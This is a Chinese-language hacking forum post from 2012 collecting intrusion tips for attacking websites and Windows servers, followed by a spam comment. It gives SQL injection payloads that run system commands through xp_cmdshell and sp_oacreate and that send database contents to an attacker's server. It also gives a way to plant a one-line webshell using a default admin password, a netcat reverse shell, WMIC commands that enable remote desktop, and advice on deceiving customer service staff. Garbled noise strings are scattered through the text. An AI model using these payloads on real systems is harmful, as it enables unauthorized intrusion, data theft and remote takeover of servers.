中国网络渗透测试联盟

标题: 站库分离的方法 [打印本页]

作者: admin    时间: 2012-9-15 14:41
标题: 站库分离的方法
SA点数据库分离技术相关1 e+ R- P5 F- q/ w8 L3 Q% I
5 p: l0 F, k+ }2 w5 X- s

% Q6 Y; K  U7 V  p% I4 \4 x0 I% ?2 NSA点数据库分离搞法+语句:; S6 }, E/ W1 E5 k, p
/ r9 n% L- C* f: g% _0 B: g/ T
注射点不显错,执行下面三条语句页面都返回正常。
3 H0 d0 e- _9 o) Wand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')( m9 u7 H# O( b  H: L
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
- J6 G, ^5 p$ j$ hand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')  d' L* X- T7 N( [
可以列目录,判断系统为2000,web与数据库分离/ D9 @! F+ V$ l, d: o" ~
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。# |+ N- O( ~: v: V; B7 n* W1 h# L
在注射点上执行% `" K" @- m! }5 L7 w7 F/ S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
3 W) @2 N( j* x5 t- c页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
# s) V! r6 B0 k% ~; p1 `8 d4 p. M- {还有我用NC监听得其他端口都没有得到IP。
, |! b+ [3 A8 K' L* o' Z2 h0 ^, w! o0 Q8 r. L
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
( E. z; ?2 W( @; w% O1 f2 X1 Z- d'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--; R7 v  f$ S/ a) }, z5 L3 ]
% S% i, C8 b' P6 R8 S' G
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
5 j7 Z. o0 g, _# F8 }- v0 i; B0 z: M' ^, ]: I, T7 J
现在就猜想是不是数据库是内网而且不能连外网。
) u8 N5 e( o' U  a" x  k9 k1 s2 h& N" B& l5 \* w6 t
; {/ L/ r6 v: f# F* a3 ~( J
access导出txt文本代码
6 T: T$ V' }# }1 l3 ?( S  h' USELECT * into [test.txt] in 'd:\web\' 'text;' from admin' ]4 ]$ w8 d2 b9 Y
+ x- i2 q4 N$ ^  G" E
) Y9 e% V1 y( l' p+ L% k
+ A: B! X  m, e! X$ c( D: s
自动跳转到指定网站代码头
1 [3 y0 P* z3 m6 |+ u<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
, ~- }6 a4 U1 H, a. V; M) B7 C8 [/ d
1 d2 L; ^9 E6 Z
入侵java or jsp站点时默认配置文件路径:5 T3 U* d3 k% X9 z6 {  M
\web-inf\web.xml; N' x$ K& E2 B$ R1 D
tomcat下的配置文件位置:3 ]( A& N) V( K$ y  g
\conf\server.xml            (前面加上tomcat路径)  e5 M; Z7 k/ ]- j
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml# r6 r5 a5 M2 L" l# @- y

/ m( I& ^7 a' J/ i" _, \
* n! N+ _3 x6 _4 J" a
4 Y$ m) H& h! u检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
& ^2 ~8 m; k1 e" h& _3 j! p-1%23/ P) |: @/ A4 X1 Q9 e
> - @4 V3 A. E: f6 @* @
<0 b" F3 _" t- U7 j
1'+or+'1'='12 L* n4 n* p9 n7 _* f
id=8%bf
% k& T9 j& z5 F' s' b; k$ q- b: R2 t2 i, e
全新注入点检测试法:$ z+ l. N  a8 v7 `
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
! x0 a! M, R; |! M6 k% M5 C+ ]8 L( L# `) Y' A
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
5 ^7 U5 K  s7 J0 {8 N: ~: J) g7 d- J  h! I( x
搜索型注入判断方法:
6 ?4 m, N& Q1 I北京%' and '1'='1' and '%'='0 b8 Z; H* y4 h
北京%' and '1'='2' and '%'='
# d8 J1 ~' {4 p" u5 J# L! O( |+ o; i
2 v7 x! E1 J& [6 z
COOKIES注入:
. A. j3 i; f- M% f* ~5 `5 ?2 ~; m6 L  h3 s7 C8 `8 H2 w* c+ B
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
4 M3 s1 _9 x! h0 A" p
* Z( m5 o: w# M" s( O2000专业版查看本地登录用户命令:
" H2 `% w2 Z* C/ Lnet config workstation
" {( x$ C. x5 o1 ~; l3 x: r$ Q2 z) {
, i: ^% y8 @/ ^8 i
& J5 G  c8 ^6 d6 R+ J; `2003下查看ipsec配置和默认防火墙配置命令:: o' s3 p! K3 B2 r- Q4 A; a
netsh firewall show config2 h" ?+ F' x1 Z3 X' G$ a4 m
netsh ipsec static show all
- f0 N6 S# B# k7 j% B4 m& B, a1 W. x' H( r
不指派指定策略命令:
2 }. I, m% S. b" w' inetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)) n1 n2 }5 T! n8 c
netsh ipsec static show policy all  显示策略名/ m+ j9 W3 D7 l! m9 {

' B! j4 S; |; F1 k3 H0 b5 c. U$ w
1 ?  j) y/ E. C! o9 t+ s& D) k猜管理员后台小技巧:
! {6 D9 L, M- X; eadmin/left.asp , `3 Y( j4 `, b  @" a7 h  p# ?
admin/main.asp
5 @$ o+ W: x. I8 a4 n! G- I+ j& Nadmin/top.asp) G# d" d4 v! r2 y, Z
admin/admin.asp : x% ~  G4 a$ _9 U
会现出菜单导航,然后迅雷下载全部链接
; H/ G! l0 |6 h# J* \
: s! V5 [( G: n- a% i& _: K8 I3 |9 W8 o+ \& i) T+ e6 ~: H
社会工程学:: P5 x. @& q# a2 C: l
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
. |; i0 t0 X( G4 f" g6 j5 D然后去骗客服
4 }% ^7 `- r% a. o# n: w. Y* k+ u5 G/ c  K4 ]' u& P

; ^) s# a, D5 J1 W* d统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
% \7 S2 K* ]* q# q. \2 H查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
+ _/ V% h& J$ X- z/ K. }5 l. u  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
+ H, X4 M6 I5 R$ K3 ?1 M6 s( ]
& X0 `! E- ]. b* B: C( D

6 W  V7 y& V) }6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
6 G" D9 N: o% ^4 W) e4 G$ r$ ]0 Q6 w6 o+ u! g9 b. K4 Y4 L  u

8 d, {; ?; ]; V4 V2 X5 N6 J, w# C. L% b, L4 l6 J% g
CMD加密注册表位置
# F3 ^7 c" |4 g' T* S(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
/ v0 D  [" d' ?. g$ I* M; ~AutoRun
' K6 I% A( l) B" ]- A! e2 S- t+ j# u/ h
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
* W& h7 E; X5 S6 ]  y# pAutoRun
' i% N  v6 B7 x+ F
# w/ Y. E0 \$ r) I: I8 l& c. X% n5 ?
在找注入时搜索Hidden,把他改成test: n1 Y/ L. t- F. g

; _" A; U1 g9 W. a( J( d' B: G. D& V2 A& j0 z; k9 `5 u$ q

* w0 u4 |7 ^# Imstsc /v:IP /console
% o0 ~: h' d0 k& p. `+ h
. N3 J( n9 A2 Y$ J) s3 H1 a( |8 e
9 d) V" J  _9 v' Y+ m7 c一句话开3389:( @! v' C: o1 R
# f/ J( R. w) i0 ^0 o" g
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  " i; X" v' e# t* T: L0 k% O! F
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.& ?+ _- B( A9 F+ J5 s
/ {, H8 g* b) L- }( Q
0 P7 F7 s. }. X% t' f
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
8 E9 ~+ k6 e0 L7 N8 hInsert into admin(user,pwd) values('test','test')8 [, I( \% ]' _- p- E" f: k

, D% `2 e% r1 P/ T8 j8 W* U2 ?0 k/ M: N; m( V# J1 m% p
NC反弹# `& n6 y( O4 b, D9 ?8 ~, k
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
+ @9 @! F+ @! _; G8 t* S- n- T% a然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)' j; d' N- J/ _+ E: M
* B! y! i. U  u

" D( i* U. G5 O/ P% u% g8 e8 l7 A在脚本入侵过程中要经常常试用%00来确认下参数是否有问题% C" s, q5 s1 `7 \
, J0 m8 W* \0 e1 O2 F
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录5 P7 Y# _; v1 v
例如:
8 V' z# D$ Z: ?7 Ysubst k: d:\www\ 用d盘www目录替代k盘
/ v. Z8 i& Y- @$ k1 g9 p1 I8 Ksubst k: /d  解除K盘代替
作者: 匿名    时间: 2017-12-20 02:36
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2